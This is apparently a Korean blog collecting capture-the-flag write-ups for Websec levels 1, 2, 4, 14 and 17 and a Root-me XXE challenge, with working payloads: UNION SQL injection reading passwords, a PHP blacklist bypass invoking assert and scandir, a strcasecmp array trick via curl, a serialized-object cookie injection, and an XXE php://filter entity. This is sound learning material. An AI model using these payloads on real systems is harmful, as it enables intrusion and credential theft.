Websec - level 14

 

 

 

 

input은 25글자로 제한되어 있으며, 내부함수와 설정된 문자, 문자열들이

블랙리스트로 등록되어 Input에 해당 문자가 있으면 Insecure code detected!을 출력하게 된다.

 

 


 

1.

 

 

처음에는 $blacklist{0}, $blacklist{1} ... 를 각각 출력해서 내부함수를 사용하려고 하였다.

 

 

Input : $blacklist{0}(); 

 

 

다음과 같이 $blacklist{숫자}의 결과값이 내부함수명으로 나와 함수를 실행 가능하게한다.

 

하지만 이 방법을 포기하게 된 것은. 우리가 원하는 flag값은 문제에서 sha1($flag)형식으로 되어있는 것을 알 수 있는데

 

 

 

input값이 25글자를 초과할 수 밖에 없다고 생각하여 다른 방법을 생각하게 되었다.

 

 


 

2.

 

root-me eval 문제에서도 사용했었던  not, xor과 같은 연산을 이용하여 시도하였다.

 

파일명이 길기 때문에 파일명을 GET방식으로 전달하고 Input을 통해 GET으로 전달한 파일명을 얻어서 문제를 해결하면 될 것 같다. []는 블랙리스트 되어있으니 {}로 대체해주고 NOT연산을 사용하여 작성하면

 

 

 

Input : ${~%a0%b8%ba%ab}{0} ~~

%a0 은 글자수 하나로 인식된다.

 

 

이런 형태로 input을 진행시킬 수 있을 것 같다.

 

우선 flag를 찾기위해 ()안의 payload를 실행 시켜줄 수 있는 assert를 이용하여

payload로 assert(var_dump(scandir('/')))를 사용한 후

 

 

 

찾은 파일을 file_get_contents를 통해 읽으면 문제를 풀 수 있다.

 

 

 


 

 

처음에 payload를 보낼 때 %a0%b8%ba%ab가 아닌 \xa0\xb8\ba\ab를 보냈었다.

 

 \xa0\xb8\ba\ab로 문자를 보내게 되면 

 

 

 

 

_GET으로 변형되는게 아니라 =_=G=E=T으로 변형되고 not이 되기 전 문자도 %를 사용했을 때와 다르게 진행된다.

php를 통해서 E를 not연산을 이용하면 BA가 나오게 되고 이 문자를 다시 ~\xBA 을 하게되면 º라는 문자가 나오게 된다. 하지만 ~%BA를 사용한다면 �로 출력된다.

 

정리하면

 

NOT 연산의 결과

E            =>  BA   

\xBA       =>  º        =>  =E

%BA        =>  �       =>    E

 

 

분명히 같은 값으로 연산을 하였는데 =이 추가되어 원하는 결과 값을 얻을 수 없었다.

\xBA를 bin2hex로 hex값을 구해보니 C2BA로 not 연산을 하면 3D45가 되고 -> =E가 되게된다.

 

 

\xBA를 할 때는 왜 º 로 들어가고  %BA로 할 때는 왜 다르게 들어가는지 알아봐야겠다.

'Web hacking > Websec' 카테고리의 다른 글

websec - level 24  (0) 2020.02.25
Websec - level 22  (0) 2020.02.22
Websec - level 17  (0) 2020.01.05
Websec - level 4  (0) 2020.01.05
Websec - level 2  (0) 2019.12.30

Websec - level 17

 

 

 

 

우리가 입력한 flag 값이 어째저째 만들어진 flag값과 같으면 flag를 표시해준다.

 

 

 


 

 

비교를 strcasecmp로 되어있는데 

strcmp와 같은 문자열 비교해주는 함수이고 대소문자 구분하지 않는 기능이 있다.

 

strcmp와 똑같은 취약점이 있을 것 같아서 시도해보았다.

 

php5.3에서 strcmp에서 string과 Array를 비교하면 NULL값을 반환해준다.

php에서 !NULL는 true로 볼 수 있어서 Array값을 넣게되면 조건을 만족시켜준다.

 

 

 

post로 배열을 전달해주면

 

 

curl -d "flag[]=''" -X POST http://websec.fr/level17/index.php

 

 

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level Seventeen</title>
        <link rel="stylesheet" href="../static/bootstrap.min.css" />
        <meta http-equiv="content-type" content="text/html;charset=UTF-16">
</head>
        <body>
                <div id="main">
                        <div class="container">
                                <div class="row">
                                        <h1>Level Seventeen <small> - Guessing is fun!</small></h1>
                                </div>
                                <div class="row">
                                        <p class="lead">
                                        Can you guess the flag?  You can check the sources <a href="source.php">here</a>.
                                        </p>
                                </div>
                        </div>
                        <div class="container">
                                            <div class="row">
                                <form class="form-inline" method='post'>
                                    <input name='flag' class='form-control' type='text' placeholder='Guessed flag'>
                                    <input class="form-control btn btn-default" name="submit" value='Go' type='submit'>
                                </form>
                            </div>
                        </div>
                                                <br>
                        <div class="container">
                                            <div class="row">
                                <div class="alert alert-success">Here is your flag: <mark>WEBSEC{-답-}</mark>.</div>                            </div>
                        </div>
                                        </div>
        </body>
</html>

 

 

다음과 같이 답을 얻을 수 있다.★

 

'Web hacking > Websec' 카테고리의 다른 글

Websec - level 22  (0) 2020.02.22
Websec - level 14  (0) 2020.02.19
Websec - level 4  (0) 2020.01.05
Websec - level 2  (0) 2019.12.30
Websec - level 1  (0) 2019.12.30

 

Websec - level 4

 

 

 

문제를 보면 ip를 이용하여 leet_hax0r에 쿠키값을 저장하고,

입력한 id를 query id에 추가되어 sql객체에 query 데이터로 할당되면서

소멸자가 실행될 때 쿼리가 실행되면서 username의 결과 값이 나오게 된다.

 

 


 

이 문제를 보면 serialize를 이용하여 쿠키에 저장하고 unserialize를 통해 값을 확인한다.

unserialize 취약점을 통해 query를 조작하여 우리가 원하는 정보를 테이블로 부터 얻어내어 이 문제를 해결할 수있다.

 

 

query를 조작하기 위해 sql Object를 serialize한 값을 쿠키 값으로 전달 해 준다.

 

leet_hax0r : O:3:"sql":1:{s:5:"query";s:61:"select name as username from sqlite_master where type='table'";}O:3:"sql":1:{s:5:"query";s:64:"select sql as username from sqlite_master where tbl_name='users'";}

base64 encode하여 쿠키 값을 전달하면 된다.

 

 

코드를 보면 users라는 테이블 명은 이미 알고있고, users의 정보를 얻기 위해 쿼리를 만들었다.

출력에서 테이블의 username을 출력하기 때문에 alias를 사용하여 query를 전송하면된다.

 

 

 

 

 

그러면 결과 값으로 users테이블은 id와 username password로 이루어져 있음을 알 수 있고

password 값을 한번 찾아보면

 

 

leet_hax0r : O:3:"sql":1:{s:5:"query";s:38:"select password as username from users";}

 

 

 

답을 구할 수 있다☆

'Web hacking > Websec' 카테고리의 다른 글

Websec - level 22  (0) 2020.02.22
Websec - level 14  (0) 2020.02.19
Websec - level 17  (0) 2020.01.05
Websec - level 2  (0) 2019.12.30
Websec - level 1  (0) 2019.12.30

Websec - level 2

 

 

 

이전의 있던 level 1의 문제에서 필터링만된 문제이다.

 

 


 

비슷한 문제가 los나 다른 워게임 사이트에서도 있었던 것 같은데

 

필터링 되는 것이 단순히 union -> (공백) 으로 되는 것이라

 

uunionunion -> u(공백)nion -> union이 되어서 원하는 쿼리에서 문자만 변경시켜주면 풀리는 문제이다

다른 것은 기본적으로 같으므로

 

 

https://seummm.tistory.com/23

 

Websec - level 1

Websec - level 1 websec의 첫번째 문제이다. 위의 코드를 보면 $injection 값을 id로 입력받아서 id, username을 출력하는 기능을 한다. 예시로 1을 넣으면 입력한 1에 해당하는 id인 1과 username levelone을..

seummm.tistory.com

websec level 1번 문제와 같이 풀면 해결된다.

'Web hacking > Websec' 카테고리의 다른 글

Websec - level 22  (0) 2020.02.22
Websec - level 14  (0) 2020.02.19
Websec - level 17  (0) 2020.01.05
Websec - level 4  (0) 2020.01.05
Websec - level 1  (0) 2019.12.30

Websec - level 1

 

 

 

 

websec의 첫번째 문제이다.

 

 

 

 

 

위의 코드를 보면 $injection 값을 id로 입력받아서 id, username을 출력하는 기능을 한다.

 

 

 

 

예시로 1을 넣으면 입력한 1에 해당하는 id인 1과 username levelone을 출력해준다.

 

 

 

 


 

sqlite3을 사용하고 있고, 별다른 필터링이 걸려있지 않으므로 정보를 얻을 수 있는 쿼리를 전송해본다.

문제에 주어진 코드를 통해서 테이블명은 users임을 알 수 있다.

 

 

 

1) 테이블 정보 얻기

 

query : 0 union select sql, 1 from sqlite_master where tbl_name='users'

 

 

 

 

위의 쿼리를 통해서 users 테이블은 username과 password를 가지고 있음을 알 수 있다.

 

 

 

 

 

2) password찾기

 

query : 0 union select username, password from users where id=(id 값)

 

 

 

 

위의 쿼리를 통해 보낸 id 값의 username과 password를 얻을 수 있다.

'Web hacking > Websec' 카테고리의 다른 글

Websec - level 22  (0) 2020.02.22
Websec - level 14  (0) 2020.02.19
Websec - level 17  (0) 2020.01.05
Websec - level 4  (0) 2020.01.05
Websec - level 2  (0) 2019.12.30

XML External Entity

 

 

 

 

 

 

다음과 같이 URL을 입력하면 RSS데이터가 잘 생성 되었는지 검증해준다.

administarator의 password를 얻으면 되는 문제이다.


문제풀이

 

 

 

 

Input box에 URL을 넣으면 XML을 읽어주는 기능을 하므로 우리가 원하는 XML파일을 서버에 업로드하여 password를 탈취 할 수 있다.

 

 

기본적인 XML RSS형식을 이용하여 Validity Check를 해보자.

 

 

<?xml version="1.0" encoding="UTF-8"?>
 <rss version="2.0">
  <channel>
    <title>제목</title>
    <link>주소/</link>
    <description>설명 (짤막하게)</description>

    <item>
      <title>제목</title>
      <link>주소/글 주소</link>

      <description>글 내용 전체(또는 일부)</description>
      <pubDate>시간</pubDate>
      <guid>주소/글 주소</guid>
    </item>
  </channel>
</rss>

 


다음과 같은 코드를 입력하고 전송하였을 때

 

 

 

 

 

 

 

 

 

다음과 같이 정상적으로 결과가 나오게 된다.

 

 

이제 우리가 원하는 데이터를 얻기 위해서 XML External Entity를 이용해야한다.

우리가 알고있는 것은 우선 보여지고 있는 페이지가 index.php라는 점을 이용하여 우선 index.php파일을 살펴보자

 

<!ENTITY xxe SYSTEM "./index.php" >]>

 

 

다음과 같이 external entity를 작성하여서 결과 값을 봤을 때에 원하는 결과 값을 얻을 수 없었다.

php filter를 안쓰고 그냥 보내면 출력한 페이지에서 php를 해석하여 보여주기 때문에 소스 자체를 볼 수가 없다. (생각

그래서 php wrapper를 이용하여 답을 구하였다.

 

 

 

 

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>

 

 

 

 

 

 

 

 

나온 결과값을 base64 decode하면 flag 값을 얻을 수 있다.

 


XXE에 대해 문제풀기만을 위해 얕게 공부한 것 같아서 더 알앙봐야겠다.

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - Command injection - Filter bypass  (0) 2019.12.07
[Root-me] - PHP - Eval  (0) 2019.12.03
[Root-me] - File upload - ZIP  (0) 2019.12.03
[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16

+ Recent posts